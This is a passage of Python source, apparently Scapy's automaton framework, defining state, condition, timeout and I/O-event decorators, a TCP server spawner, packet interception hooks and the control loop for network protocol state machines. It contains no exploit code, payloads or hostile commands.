self.final = state_func.atmt_final\n            Exception.__init__(self, \"Request state [%s]\" % self.state)\n            self.automaton = automaton\n            self.args = args\n            self.kargs = kargs\n            self.action_parameters()  # init action parameters\n\n        def action_parameters(self, *args, **kargs):\n            # type: (Any, Any) -> ATMT.NewStateRequested\n            self.action_args = args\n            self.action_kargs = kargs\n            return self\n\n        def run(self):\n            # type: () -> Any\n            return self.func(self.automaton, *self.args, **self.kargs)\n\n        def __repr__(self):\n            # type: () -> str\n            return \"NewStateRequested(%s)\" % self.state\n\n    @staticmethod\n    def state(initial=0,    # type: int\n              final=0,      # type: int\n              stop=0,       # type: int\n              error=0       # type: int\n              ):\n        # type: (...) -> Callable[[DecoratorCallable], DecoratorCallable]\n        def deco(f, initial=initial, final=final):\n            # type: (_StateWrapper, int, int) -> _StateWrapper\n            f.atmt_type = ATMT.STATE\n            f.atmt_state = f.__name__\n            f.atmt_initial = initial\n            f.atmt_final = final\n            f.atmt_stop = stop\n            f.atmt_error = error\n\n            def _state_wrapper(self, *args, **kargs):\n                # type: (ATMT, Any, Any) -> ATMT.NewStateRequested\n                return ATMT.NewStateRequested(f, self, *args, **kargs)\n\n            state_wrapper = cast(_StateWrapper, _state_wrapper)\n            state_wrapper.__name__ = \"%s_wrapper\" % f.__name__\n            state_wrapper.atmt_type = ATMT.STATE\n            state_wrapper.atmt_state = f.__name__\n            state_wrapper.atmt_initial = initial\n            state_wrapper.atmt_final = final\n            state_wrapper.atmt_stop = stop\n            state_wrapper.atmt_error = error\n            state_wrapper.atmt_origfunc = f\n            return state_wrapper\n        return deco  # type: ignore\n\n    @staticmethod\n    def action(cond, prio=0):\n        # type: (Any, int) -> Callable[[_StateWrapper, _StateWrapper], _StateWrapper]  # noqa: E501\n        def deco(f, cond=cond):\n            # type: (_StateWrapper, _StateWrapper) -> _StateWrapper\n            if not hasattr(f, \"atmt_type\"):\n                f.atmt_cond = {}\n            f.atmt_type = ATMT.ACTION\n            f.atmt_cond[cond.atmt_condname] = prio\n            return f\n        return deco\n\n    @staticmethod\n    def condition(state, prio=0):\n        # type: (Any, int) -> Callable[[_StateWrapper, _StateWrapper], _StateWrapper]  # noqa: E501\n        def deco(f, state=state):\n            # type: (_StateWrapper, _StateWrapper) -> Any\n            f.atmt_type = ATMT.CONDITION\n            f.atmt_state = state.atmt_state\n            f.atmt_condname = f.__name__\n            f.atmt_prio = prio\n            return f\n        return deco\n\n    @staticmethod\n    def receive_condition(state, prio=0):\n        # type: (_StateWrapper, int) -> Callable[[_StateWrapper, _StateWrapper], _StateWrapper]  # noqa: E501\n        def deco(f, state=state):\n            # type: (_StateWrapper, _StateWrapper) -> _StateWrapper\n            f.atmt_type = ATMT.RECV\n            f.atmt_state = state.atmt_state\n            f.atmt_condname = f.__name__\n            f.atmt_prio = prio\n            return f\n        return deco\n\n    @staticmethod\n    def ioevent(state,                  # type: _StateWrapper\n                name,                   # type: str\n                prio=0,                 # type: int\n                as_supersocket=None     # type: Optional[str]\n                ):\n        # type: (...) -> Callable[[_StateWrapper, _StateWrapper], _StateWrapper]  # noqa: E501\n        def deco(f, state=state):\n            # type: (_StateWrapper, _StateWrapper) -> _StateWrapper\n            f.atmt_type = ATMT.IOEVENT\n            f.atmt_state = state.atmt_state\n            f.atmt_condname = f.__name__\n            f.atmt_ioname = name\n            f.atmt_prio = prio\n            f.atmt_as_supersocket = as_supersocket\n            return f\n        return deco\n\n    @staticmethod\n    def timeout(state, timeout):\n        # type: (_StateWrapper, Union[int, float]) -> Callable[[_StateWrapper, _StateWrapper, Timer], _StateWrapper]  # noqa: E501\n        def deco(f, state=state, timeout=Timer(timeout)):\n            # type: (_StateWrapper, _StateWrapper, Timer) -> _StateWrapper\n            f.atmt_type = ATMT.TIMEOUT\n            f.atmt_state = state.atmt_state\n            f.atmt_timeout = timeout\n            f.atmt_timeout._func = f\n            f.atmt_condname = f.__name__\n            return f\n        return deco\n\n    @staticmethod\n    def timer(state, timeout, prio=0):\n        # type: (_StateWrapper, Union[float, int], int) -> Callable[[_StateWrapper, _StateWrapper, Timer], _StateWrapper]  # noqa: E501\n        def deco(f, state=state, timeout=Timer(timeout, prio=prio, autoreload=True)):\n            # type: (_StateWrapper, _StateWrapper, Timer) -> _StateWrapper\n            f.atmt_type = ATMT.TIMEOUT\n            f.atmt_state = state.atmt_state\n            f.atmt_timeout = timeout\n            f.atmt_timeout._func = f\n            f.atmt_condname = f.__name__\n            return f\n        return deco\n\n    @staticmethod\n    def eof(state):\n        # type: (_StateWrapper) -> Callable[[_StateWrapper, _StateWrapper], _StateWrapper]  # noqa: E501\n        def deco(f, state=state):\n            # type: (_StateWrapper, _StateWrapper) -> _StateWrapper\n            f.atmt_type = ATMT.EOF\n            f.atmt_state = state.atmt_state\n            f.atmt_condname = f.__name__\n            return f\n        return deco\n\n\nclass _ATMT_Command:\n    RUN = \"RUN\"\n    NEXT = \"NEXT\"\n    FREEZE = \"FREEZE\"\n    STOP = \"STOP\"\n    FORCESTOP = \"FORCESTOP\"\n    END = \"END\"\n    EXCEPTION = \"EXCEPTION\"\n    SINGLESTEP = \"SINGLESTEP\"\n    BREAKPOINT = \"BREAKPOINT\"\n    INTERCEPT = \"INTERCEPT\"\n    ACCEPT = \"ACCEPT\"\n    REPLACE = \"REPLACE\"\n    REJECT = \"REJECT\"\n\n\nclass _ATMT_supersocket(SuperSocket):\n    def __init__(self,\n                 name,          # type: str\n                 ioevent,       # type: str\n                 automaton,     # type: Type[Automaton]\n                 proto,         # type: Callable[[bytes], Any]\n                 *args,         # type: Any\n                 **kargs        # type: Any\n                 ):\n        # type: (...) -> None\n        self.name = name\n        self.ioevent = ioevent\n        self.proto = proto\n        # write, read\n        self.spa, self.spb = ObjectPipe[Any](\"spa\"), \\\n            ObjectPipe[Any](\"spb\")\n        kargs[\"external_fd\"] = {ioevent: (self.spa, self.spb)}\n        kargs[\"is_atmt_socket\"] = True\n        kargs[\"atmt_socket\"] = self.name\n        self.atmt = automaton(*args, **kargs)\n        self.atmt.runbg()\n\n    def send(self, s):\n        # type: (Any) -> int\n        return self.spa.send(s)\n\n    def fileno(self):\n        # type: () -> int\n        return self.spb.fileno()\n\n    # note: _ATMT_supersocket may return bytes in certain cases, which\n    # is expected. We cheat on typing.\n    def recv(self, n=MTU, **kwargs):  # type: ignore\n        # type: (int, **Any) -> Any\n        r = self.spb.recv(n)\n        if self.proto is not None and r is not None:\n            r = self.proto(r, **kwargs)\n        return r\n\n    def close(self):\n        # type: () -> None\n        if not self.closed:\n            self.atmt.stop()\n            self.atmt.destroy()\n            self.spa.close()\n            self.spb.close()\n            self.closed = True\n\n    @staticmethod\n    def select(sockets, remain=conf.recv_poll_rate):\n        # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket]\n        return select_objects(sockets, remain)\n\n\nclass _ATMT_to_supersocket:\n    def __init__(self, name, ioevent, automaton):\n        # type: (str, str, Type[Automaton]) -> None\n        self.name = name\n        self.ioevent = ioevent\n        self.automaton = automaton\n\n    def __call__(self, proto, *args, **kargs):\n        # type: (Callable[[bytes], Any], Any, Any) -> _ATMT_supersocket\n        return _ATMT_supersocket(\n            self.name, self.ioevent, self.automaton,\n            proto, *args, **kargs\n        )\n\n\nclass Automaton_metaclass(type):\n    def __new__(cls, name, bases, dct):\n        # type: (str, Tuple[Any], Dict[str, Any]) -> Type[Automaton]\n        cls = super(Automaton_metaclass, cls).__new__(  # type: ignore\n            cls, name, bases, dct\n        )\n        cls.states = {}\n        cls.recv_conditions = {}    # type: Dict[str, List[_StateWrapper]]\n        cls.conditions = {}         # type: Dict[str, List[_StateWrapper]]\n        cls.ioevents = {}           # type: Dict[str, List[_StateWrapper]]\n        cls.timeout = {}            # type: Dict[str, _TimerList]\n        cls.eofs = {}               # type: Dict[str, _StateWrapper]\n        cls.actions = {}            # type: Dict[str, List[_StateWrapper]]\n        cls.initial_states = []     # type: List[_StateWrapper]\n        cls.stop_state = None       # type: Optional[_StateWrapper]\n        cls.ionames = []\n        cls.iosupersockets = []\n\n        members = {}\n        classes = [cls]\n        while classes:\n            c = classes.pop(0)  # order is important to avoid breaking method overloading  # noqa: E501\n            classes += list(c.__bases__)\n            for k, v in c.__dict__.items():  # type: ignore\n                if k not in members:\n                    members[k] = v\n\n        decorated = [v for v in members.values()\n                     if hasattr(v, \"atmt_type\")]\n\n        for m in decorated:\n            if m.atmt_type == ATMT.STATE:\n                s = m.atmt_state\n                cls.states[s] = m\n                cls.recv_conditions[s] = []\n                cls.ioevents[s] = []\n                cls.conditions[s] = []\n                cls.timeout[s] = _TimerList()\n                if m.atmt_initial:\n                    cls.initial_states.append(m)\n                if m.atmt_stop:\n                    if cls.stop_state is not None:\n                        raise ValueError(\"There can only be a single stop state !\")\n                    cls.stop_state = m\n            elif m.atmt_type in [ATMT.CONDITION, ATMT.RECV, ATMT.TIMEOUT, ATMT.IOEVENT, ATMT.EOF]:  # noqa: E501\n                cls.actions[m.atmt_condname] = []\n\n        for m in decorated:\n            if m.atmt_type == ATMT.CONDITION:\n                cls.conditions[m.atmt_state].append(m)\n            elif m.atmt_type == ATMT.RECV:\n                cls.recv_conditions[m.atmt_state].append(m)\n            elif m.atmt_type == ATMT.EOF:\n                cls.eofs[m.atmt_state] = m\n            elif m.atmt_type == ATMT.IOEVENT:\n                cls.ioevents[m.atmt_state].append(m)\n                cls.ionames.append(m.atmt_ioname)\n                if m.atmt_as_supersocket is not None:\n                    cls.iosupersockets.append(m)\n            elif m.atmt_type == ATMT.TIMEOUT:\n                cls.timeout[m.atmt_state].add_timer(m.atmt_timeout)\n            elif m.atmt_type == ATMT.ACTION:\n                for co in m.atmt_cond:\n                    cls.actions[co].append(m)\n\n        for v in itertools.chain(\n            cls.conditions.values(),\n            cls.recv_conditions.values(),\n            cls.ioevents.values()\n        ):\n            v.sort(key=lambda x: x.atmt_prio)\n        for condname, actlst in cls.actions.items():\n            actlst.sort(key=lambda x: x.atmt_cond[condname])\n\n        for ioev in cls.iosupersockets:\n            setattr(cls, ioev.atmt_as_supersocket,\n                    _ATMT_to_supersocket(\n                        ioev.atmt_as_supersocket,\n                        ioev.atmt_ioname,\n                        cast(Type[\"Automaton\"], cls)))\n\n        # Inject signature\n        try:\n            import inspect\n            cls.__signature__ = inspect.signature(cls.parse_args)  # type: ignore  # noqa: E501\n        except (ImportError, AttributeError):\n            pass\n\n        return cast(Type[\"Automaton\"], cls)\n\n    def build_graph(self):\n        # type: () -> str\n        s = 'digraph \"%s\" {\\n' % self.__class__.__name__\n\n        se = \"\"  # Keep initial nodes at the beginning for better rendering\n        for st in self.states.values():\n            if st.atmt_initial:\n                se = ('\\t\"%s\" [ style=filled, fillcolor=blue, shape=box, root=true];\\n' % st.atmt_state) + se  # noqa: E501\n            elif st.atmt_final:\n                se += '\\t\"%s\" [ style=filled, fillcolor=green, shape=octagon ];\\n' % st.atmt_state  # noqa: E501\n            elif st.atmt_error:\n                se += '\\t\"%s\" [ style=filled, fillcolor=red, shape=octagon ];\\n' % st.atmt_state  # noqa: E501\n            elif st.atmt_stop:\n                se += '\\t\"%s\" [ style=filled, fillcolor=orange, shape=box, root=true ];\\n' % st.atmt_state  # noqa: E501\n        s += se\n\n        for st in self.states.values():\n            names = list(\n                st.atmt_origfunc.__code__.co_names +\n                st.atmt_origfunc.__code__.co_consts\n            )\n            while names:\n                n = names.pop()\n                if n in self.states:\n                    s += '\\t\"%s\" -> \"%s\" [ color=green ];\\n' % (st.atmt_state, n)\n                elif n in self.__dict__:\n                    # function indirection\n                    if callable(self.__dict__[n]):\n                        names.extend(self.__dict__[n].__code__.co_names)\n                        names.extend(self.__dict__[n].__code__.co_consts)\n\n        for c, sty, k, v in (\n            [(\"purple\", \"solid\", k, v) for k, v in self.conditions.items()] +\n            [(\"red\", \"solid\", k, v) for k, v in self.recv_conditions.items()] +\n            [(\"orange\", \"solid\", k, v) for k, v in self.ioevents.items()] +\n            [(\"black\", \"dashed\", k, [v]) for k, v in self.eofs.items()]\n        ):\n            for f in v:\n                names = list(f.__code__.co_names + f.__code__.co_consts)\n                while names:\n                    n = names.pop()\n                    if n in self.states:\n                        line = f.atmt_condname\n                        for x in self.actions[f.atmt_condname]:\n                            line += \"\\\\l>[%s]\" % x.__name__\n                        s += '\\t\"%s\" -> \"%s\" [label=\"%s\", color=%s, style=%s];\\n' % (\n                            k,\n                            n,\n                            line,\n                            c,\n                            sty,\n                        )\n                    elif n in self.__dict__:\n                        # function indirection\n                        if callable(self.__dict__[n]) and hasattr(self.__dict__[n], \"__code__\"):  # noqa: E501\n                            names.extend(self.__dict__[n].__code__.co_names)\n                            names.extend(self.__dict__[n].__code__.co_consts)\n        for k, timers in self.timeout.items():\n            for timer in timers:\n                for n in (timer._func.__code__.co_names +\n                          timer._func.__code__.co_consts):\n                    if n in self.states:\n                        line = \"%s/%.1fs\" % (timer._func.atmt_condname,\n                                             timer.get())\n                        for x in self.actions[timer._func.atmt_condname]:\n                            line += \"\\\\l>[%s]\" % x.__name__\n                        s += '\\t\"%s\" -> \"%s\" [label=\"%s\",color=blue];\\n' % (k, n, line)  # noqa: E501\n        s += \"}\\n\"\n        return s\n\n    def graph(self, **kargs):\n        # type: (Any) -> Optional[str]\n        s = self.build_graph()\n        return do_graph(s, **kargs)\n\n\nclass Automaton(metaclass=Automaton_metaclass):\n    states = {}             # type: Dict[str, _StateWrapper]\n    state = None            # type: ATMT.NewStateRequested\n    recv_conditions = {}    # type: Dict[str, List[_StateWrapper]]\n    conditions = {}         # type: Dict[str, List[_StateWrapper]]\n    eofs = {}               # type: Dict[str, _StateWrapper]\n    ioevents = {}           # type: Dict[str, List[_StateWrapper]]\n    timeout = {}            # type: Dict[str, _TimerList]\n    actions = {}            # type: Dict[str, List[_StateWrapper]]\n    initial_states = []     # type: List[_StateWrapper]\n    stop_state = None       # type: Optional[_StateWrapper]\n    ionames = []            # type: List[str]\n    iosupersockets = []     # type: List[SuperSocket]\n\n    # used for spawn()\n    pkt_cls = conf.raw_layer\n    socketcls = StreamSocket\n\n    # Internals\n    def __init__(self, *args, **kargs):\n        # type: (Any, Any) -> None\n        external_fd = kargs.pop(\"external_fd\", {})\n        if \"sock\" in kargs:\n            # We use a bi-directional sock\n            self.sock = kargs[\"sock\"]\n        else:\n            # Separate sockets\n            self.sock = None\n            self.send_sock_class = kargs.pop(\"ll\", conf.L3socket)\n            self.recv_sock_class = kargs.pop(\"recvsock\", conf.L2listen)\n        self.listen_sock = None  # type: Optional[SuperSocket]\n        self.send_sock = None  # type: Optional[SuperSocket]\n        self.is_atmt_socket = kargs.pop(\"is_atmt_socket\", False)\n        self.atmt_socket = kargs.pop(\"atmt_socket\", None)\n        self.started = threading.Lock()\n        self.threadid = None                # type: Optional[int]\n        self.breakpointed = None\n        self.breakpoints = set()            # type: Set[_StateWrapper]\n        self.interception_points = set()    # type: Set[_StateWrapper]\n        self.intercepted_packet = None      # type: Union[None, Packet]\n        self.debug_level = 0\n        self.init_args = args\n        self.init_kargs = kargs\n        self.io = type.__new__(type, \"IOnamespace\", (), {})\n        self.oi = type.__new__(type, \"IOnamespace\", (), {})\n        self.cmdin = ObjectPipe[Message](\"cmdin\")\n        self.cmdout = ObjectPipe[Message](\"cmdout\")\n        self.ioin = {}\n        self.ioout = {}\n        self.packets = PacketList()                 # type: PacketList\n        self.atmt_session = kargs.pop(\"session\", None)\n        for n in self.__class__.ionames:\n            extfd = external_fd.get(n)\n            if not isinstance(extfd, tuple):\n                extfd = (extfd, extfd)\n            ioin, ioout = extfd\n            if ioin is None:\n                ioin = ObjectPipe(\"ioin\")\n            else:\n                ioin = self._IO_fdwrapper(ioin, None)\n            if ioout is None:\n                ioout = ObjectPipe(\"ioout\")\n            else:\n                ioout = self._IO_fdwrapper(None, ioout)\n\n            self.ioin[n] = ioin\n            self.ioout[n] = ioout\n            ioin.ioname = n\n            ioout.ioname = n\n            setattr(self.io, n, self._IO_mixer(ioout, ioin))\n            setattr(self.oi, n, self._IO_mixer(ioin, ioout))\n\n        for stname in self.states:\n            setattr(self, stname,\n                    _instance_state(getattr(self, stname)))\n\n        self.start()\n\n    def parse_args(self, debug=0, store=0, session=None, **kargs):\n        # type: (int, int, Any, Any) -> None\n        self.debug_level = debug\n        if debug:\n            conf.logLevel = logging.DEBUG\n        self.atmt_session = session\n        self.socket_kargs = kargs\n        self.store_packets = store\n\n    @classmethod\n    def spawn(cls,\n              port: int,\n              iface: Optional[_GlobInterfaceType] = None,\n              local_ip: Optional[str] = None,\n              bg: bool = False,\n              **kwargs: Any) -> Optional[socket.socket]:\n        \"\"\"\n        Spawn a TCP server that listens for connections and start the automaton\n        for each new client.\n\n        :param port: the port to listen to\n        :param bg: background mode? (default: False)\n\n        Note that in background mode, you shall close the TCP server as such::\n\n            srv = MyAutomaton.spawn(8080, bg=True)\n            srv.shutdown(socket.SHUT_RDWR)  # important\n            srv.close()\n        \"\"\"\n        from scapy.arch import get_if_addr\n        # create server sock and bind it\n        ssock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        if local_ip is None:\n            local_ip = get_if_addr(iface or conf.iface)\n        try:\n            ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        except OSError:\n            pass\n        ssock.bind((local_ip, port))\n        ssock.listen(5)\n        clients = []\n        if kwargs.get(\"verb\", True):\n            print(conf.color_theme.green(\n                \"Server %s started listening on %s\" % (\n                    cls.__name__,\n                    (local_ip, port),\n                )\n            ))\n\n        def _run() -> None:\n            # Wait for clients forever\n            try:\n                while True:\n                    atmt_server = None\n                    clientsocket, address = ssock.accept()\n                    if kwargs.get(\"verb\", True):\n                        print(conf.color_theme.gold(\n                            \"\\u2503 Connection received from %s\" % repr(address)\n                        ))\n                    try:\n                        # Start atmt class with socket\n                        if cls.socketcls is not None:\n                            sock = cls.socketcls(clientsocket, cls.pkt_cls)\n                        else:\n                            sock = clientsocket\n                        atmt_server = cls(\n                            sock=sock,\n                            iface=iface, **kwargs\n                        )\n                    except OSError:\n                        if atmt_server is not None:\n                            atmt_server.destroy()\n                        if kwargs.get(\"verb\", True):\n                            print(\"X Connection aborted.\")\n                        if kwargs.get(\"debug\", 0) > 0:\n                            traceback.print_exc()\n                        continue\n                    clients.append((atmt_server, clientsocket))\n                    # start atmt\n                    atmt_server.runbg()\n                    # housekeeping\n                    for atmt, clientsocket in clients:\n                        if not atmt.isrunning():\n                            atmt.destroy()\n            except KeyboardInterrupt:\n                print(\"X Exiting.\")\n                ssock.shutdown(socket.SHUT_RDWR)\n            except OSError:\n                print(\"X Server closed.\")\n                if kwargs.get(\"debug\", 0) > 0:\n                    traceback.print_exc()\n            finally:\n                for atmt, clientsocket in clients:\n                    try:\n                        atmt.forcestop(wait=False)\n                        atmt.destroy()\n                    except Exception:\n                        pass\n                    try:\n                        clientsocket.shutdown(socket.SHUT_RDWR)\n                        clientsocket.close()\n                    except Exception:\n                        pass\n                ssock.close()\n        if bg:\n            # Background\n            threading.Thread(target=_run).start()\n            return ssock\n        else:\n            # Non-background\n            _run()\n            return None\n\n    def master_filter(self, pkt):\n        # type: (Packet) -> bool\n        return True\n\n    def my_send(self, pkt, **kwargs):\n        # type: (Packet, **Any) -> None\n        if not self.send_sock:\n            raise ValueError(\"send_sock is None !\")\n        self.send_sock.send(pkt, **kwargs)\n\n    def update_sock(self, sock):\n        # type: (SuperSocket) -> None\n        \"\"\"\n        Update the socket used by the automata.\n        Typically used in an eof event to reconnect.\n        \"\"\"\n        self.sock = sock\n        if self.listen_sock is not None:\n            self.listen_sock = self.sock\n        if self.send_sock:\n            self.send_sock = self.sock\n\n    def timer_by_name(self, name):\n        # type: (str) -> Optional[Timer]\n        for _, timers in self.timeout.items():\n            for timer in timers:  # type: Timer\n                if timer._func.atmt_condname == name:\n                    return timer\n        return None\n\n    # Utility classes and exceptions\n    class _IO_fdwrapper:\n        def __init__(self,\n                     rd,  # type: Union[int, ObjectPipe[bytes], None]\n                     wr  # type: Union[int, ObjectPipe[bytes], None]\n                     ):\n            # type: (...) -> None\n            self.rd = rd\n            self.wr = wr\n            if isinstance(self.rd, socket.socket):\n                self.__selectable_force_select__ = True\n\n        def fileno(self):\n            # type: () -> int\n            if isinstance(self.rd, int):\n                return self.rd\n            elif self.rd:\n                return self.rd.fileno()\n            return 0\n\n        def read(self, n=65535):\n            # type: (int) -> Optional[bytes]\n            if isinstance(self.rd, int):\n                return os.read(self.rd, n)\n            elif self.rd:\n                return self.rd.recv(n)\n            return None\n\n        def write(self, msg):\n            # type: (bytes) -> int\n            if isinstance(self.wr, int):\n                return os.write(self.wr, msg)\n            elif self.wr:\n                return self.wr.send(msg)\n            return 0\n\n        def recv(self, n=65535):\n            # type: (int) -> Optional[bytes]\n            return self.read(n)\n\n        def send(self, msg):\n            # type: (bytes) -> int\n            return self.write(msg)\n\n    class _IO_mixer:\n        def __init__(self,\n                     rd,  # type: ObjectPipe[Any]\n                     wr,  # type: ObjectPipe[Any]\n                     ):\n            # type: (...) -> None\n            self.rd = rd\n            self.wr = wr\n\n        def fileno(self):\n            # type: () -> Any\n            if isinstance(self.rd, ObjectPipe):\n                return self.rd.fileno()\n            return self.rd\n\n        def recv(self, n=None):\n            # type: (Optional[int]) -> Any\n            return self.rd.recv(n)\n\n        def read(self, n=None):\n            # type: (Optional[int]) -> Any\n            return self.recv(n)\n\n        def send(self, msg):\n            # type: (str) -> int\n            return self.wr.send(msg)\n\n        def write(self, msg):\n            # type: (str) -> int\n            return self.send(msg)\n\n    class AutomatonException(Exception):\n        def __init__(self, msg, state=None, result=None):\n            # type: (str, Optional[Message], Optional[str]) -> None\n            Exception.__init__(self, msg)\n            self.state = state\n            self.result = result\n\n    class AutomatonError(AutomatonException):\n        pass\n\n    class ErrorState(AutomatonException):\n        pass\n\n    class Stuck(AutomatonException):\n        pass\n\n    class AutomatonStopped(AutomatonException):\n        pass\n\n    class Breakpoint(AutomatonStopped):\n        pass\n\n    class Singlestep(AutomatonStopped):\n        pass\n\n    class InterceptionPoint(AutomatonStopped):\n        def __init__(self, msg, state=None, result=None, packet=None):\n            # type: (str, Optional[Message], Optional[str], Optional[Packet]) -> None\n            Automaton.AutomatonStopped.__init__(self, msg, state=state, result=result)\n            self.packet = packet\n\n    class CommandMessage(AutomatonException):\n        pass\n\n    # Services\n    def debug(self, lvl, msg):\n        # type: (int, str) -> None\n        if self.debug_level >= lvl:\n            log_runtime.debug(msg)\n\n    def isrunning(self):\n        # type: () -> bool\n        return self.started.locked()\n\n    def send(self, pkt, **kwargs):\n        # type: (Packet, **Any) -> None\n        if self.state.state in self.interception_points:\n            self.debug(3, \"INTERCEPT: packet intercepted: %s\" % pkt.summary())\n            self.intercepted_packet = pkt\n            self.cmdout.send(\n                Message(type=_ATMT_Command.INTERCEPT,\n                        state=self.state, pkt=pkt)\n            )\n            cmd = self.cmdin.recv()\n            if not cmd:\n                self.debug(3, \"CANCELLED\")\n                return\n            self.intercepted_packet = None\n            if cmd.type == _ATMT_Command.REJECT:\n                self.debug(3, \"INTERCEPT: packet rejected\")\n                return\n            elif cmd.type == _ATMT_Command.REPLACE:\n                pkt = cmd.pkt\n                self.debug(3, \"INTERCEPT: packet replaced by: %s\" % pkt.summary())  # noqa: E501\n            elif cmd.type == _ATMT_Command.ACCEPT:\n                self.debug(3, \"INTERCEPT: packet accepted\")\n            else:\n                raise self.AutomatonError(\"INTERCEPT: unknown verdict: %r\" % cmd.type)  # noqa: E501\n        self.my_send(pkt, **kwargs)\n        self.debug(3, \"SENT : %s\" % pkt.summary())\n\n        if self.store_packets:\n            self.packets.append(pkt.copy())\n\n    def __iter__(self):\n        # type: () -> Automaton\n        return self\n\n    def __del__(self):\n        # type: () -> None\n        self.destroy()\n\n    def _run_condition(self, cond, *args, **kargs):\n        # type: (_StateWrapper, Any, Any) -> None\n        try:\n            self.debug(5, \"Trying %s [%s]\" % (cond.atmt_type, cond.atmt_condname))  # noqa: E501\n            cond(self, *args, **kargs)\n        except ATMT.NewStateRequested as state_req:\n            self.debug(2, \"%s [%s] taken to state [%s]\" % (cond.atmt_type, cond.atmt_condname, state_req.state))  # noqa: E501\n            if cond.atmt_type == ATMT.RECV:\n                if self.store_packets:\n                    self.packets.append(args[0])\n            for action in self.actions[cond.atmt_condname]:\n                self.debug(2, \"   + Running action [%s]\" % action.__name__)\n                action(self, *state_req.action_args, **state_req.action_kargs)\n            raise\n        except Exception as e:\n            self.debug(2, \"%s [%s] raised exception [%s]\" % (cond.atmt_type, cond.atmt_condname, e))  # noqa: E501\n            raise\n        else:\n            self.debug(2, \"%s [%s] not taken\" % (cond.atmt_type, cond.atmt_condname))  # noqa: E501\n\n    def _do_start(self, *args, **kargs):\n        # type: (Any, Any) -> None\n        ready = threading.Event()\n        _t = threading.Thread(\n            target=self._do_control,\n            args=(ready,) + (args),\n            kwargs=kargs,\n            name=\"scapy.automaton _do_start\"\n        )\n        _t.daemon = True\n        _t.start()\n        ready.wait()\n\n    def _do_control(self, ready, *args, **kargs):\n        # type: (threading.Event, Any, Any) -> None\n        with self.started:\n            self.threadid = threading.current_thread().ident\n            if self.threadid is None:\n                self.threadid = 0\n\n            # Update default parameters\n            a = args + self.init_args[len(args):]\n            k = self.init_kargs.copy()\n            k.update(kargs)\n            self.parse_args(*a, **k)\n\n            # Start the automaton\n            self.state = self.initial_states[0](self)\n            self.send_sock = self.sock or self.send_sock_class(**self.socket_kargs)\n            if self.recv_conditions:\n                # Only start a receiving socket if we have at least one recv_conditions\n                self.listen_sock = self.sock or self.recv_sock_class(**self.socket_kargs)  # noqa: E501\n            self.packets = PacketList(name=\"session[%s]\" % self.__class__.__name__)\n\n            singlestep = True\n            iterator = self._do_iter()\n            self.debug(3, \"Starting control thread [tid=%i]\" % self.threadid)\n            # Sync threads\n            ready.set()\n            try:\n                while True:\n                    c = self.cmdin.recv()\n                    if c is None:\n                        return None\n                    self.debug(5, \"Received command %s\" % c.type)\n                    if c.type == _ATMT_Command.RUN:\n                        singlestep = False\n                    elif c.type == _ATMT_Command.NEXT:\n                        singlestep = True\n                    elif c.type == _ATMT_Command.FREEZE:\n                        continue\n                    elif c.type == _ATMT_Command.STOP:\n                        if self.stop_state:\n                            # There is a stop state\n                            self.state = self.stop_state()\n                            iterator = self._do_iter()\n                        else:\n                            # Act as FORCESTOP\n                            break\n                    elif c.type == _ATMT_Command.FORCESTOP:\n                        break\n                    while True:\n                        state = next(iterator)\n                        if isinstance(state, self.CommandMessage):\n                            break\n                        elif isinstance(state, self.Breakpoint):\n                            c = Message(type=_ATMT_Command.BREAKPOINT, state=state)  # noqa: E501\n                            self.cmdout.send(c)\n                            break\n                        if singlestep:\n                            c = Message(type=_ATMT_Command.SINGLESTEP, state=state)  # noqa: E501\n                            self.cmdout.send(c)\n                            break\n            except (StopIteration, RuntimeError):\n                c = Message(type=_ATMT_Command.END,\n                            result=self.final_state_output)\n                self.cmdout.send(c)\n            except Exception as e:\n                exc_info = sys.exc_info()\n                self.debug(3, \"Transferring exception from tid=%i:\\n%s\" % (self.threadid, \"\".join(traceback.format_exception(*exc_info))))  # noqa: E501\n                m = Message(type=_ATMT_Command.EXCEPTION, exception=e, exc_info=exc_info)  # noqa: E501\n                self.cmdout.send(m)\n            self.debug(3, \"Stopping control thread (tid=%i)\" % self.threadid)\n            self.threadid = None\n            if self.listen_sock:\n                self.listen_sock.close()\n            if self.send_sock:\n                self.send_sock.close()\n\n    def _do_iter(self):\n        # type: () -> Iterator[Union[Automaton.AutomatonException, Automaton.AutomatonStopped, ATMT.NewStateRequested, None]] # noqa: E501\n        while True:\n            try:\n                self.debug(1, \"## state=[%s]\" % self.state.state)\n\n                # Entering a new state. First, call new state function\n                if self.state.state in self.breakpoints and self.state.state != self.breakpointed:  # noqa: E501\n                    self.breakpointed = self.state.state\n                    yield self.Breakpoint(\"breakpoint triggered on state %s\" % self.state.state,  # noqa: E501\n                                          state=self.state.state)\n                self.breakpointed = None\n                state_output = self.state.run()\n                if self.state.error:\n                    raise self.ErrorState(\"Reached %s: [%r]\" % (self.state.state, state_output),  # noqa: E501\n                                          result=state_output, state=self.state.state)  # noqa: E501\n                if self.state.final:\n                    self.final_state_output = state_output\n                    return\n\n                if state_output is None:\n                    state_output = ()\n                elif not isinstance(state_output, list):\n                    state_output = state_output,\n\n                timers = self.timeout[self.state.state]\n                # If there are commandMessage, we should skip immediate\n                # conditions.\n                if not select_objects([self.cmdin], 0):\n                    # Then check immediate conditions\n                    for cond in self.conditions[self.state.state]:\n                        self._run_condition(cond, *state_output)\n\n                    # If still there and no conditions left, we are stuck!\n                    if (len(self.recv_conditions[self.state.state]) == 0 and\n                        len(self.ioevents[self.state.state]) == 0 and\n                            timers.count() == 0):\n                        raise self.Stuck(\"stuck in [%s]\" % self.state.state,\n                                         state=self.state.state,\n                                         result=state_output)\n\n                # Finally listen and pay attention to timeouts\n                timers.reset()\n                time_previous = time.time()\n\n                fds = [self.cmdin]  # type: List[Union[SuperSocket, ObjectPipe[Any]]]\n                select_func = select_objects\n                if self.listen_sock and self.recv_conditions[self.state.state]:\n                    fds.append(self.listen_sock)\n                    select_func = self.listen_sock.select  # type: ignore\n                for ioev in self.ioevents[self.state.state]:\n                    fds.append(self.ioin[ioev.atmt_ioname])\n                while True:\n                    time_current = time.time()\n                    timers.decrement(time_current - time_previous)\n                    time_previous = time_current\n                    for timer in timers.expired():\n                        self._run_condition(timer._func, *state_output)\n                    remain = timers.until_next()\n\n                    self.debug(5, \"Select on %r\" % fds)\n                    r = select_func(fds, remain)\n                    self.debug(5, \"Selected %r\" % r)\n                    for fd in r:\n                        self.debug(5, \"Looking at %r\" % fd)\n                        if fd == self.cmdin:\n                            yield 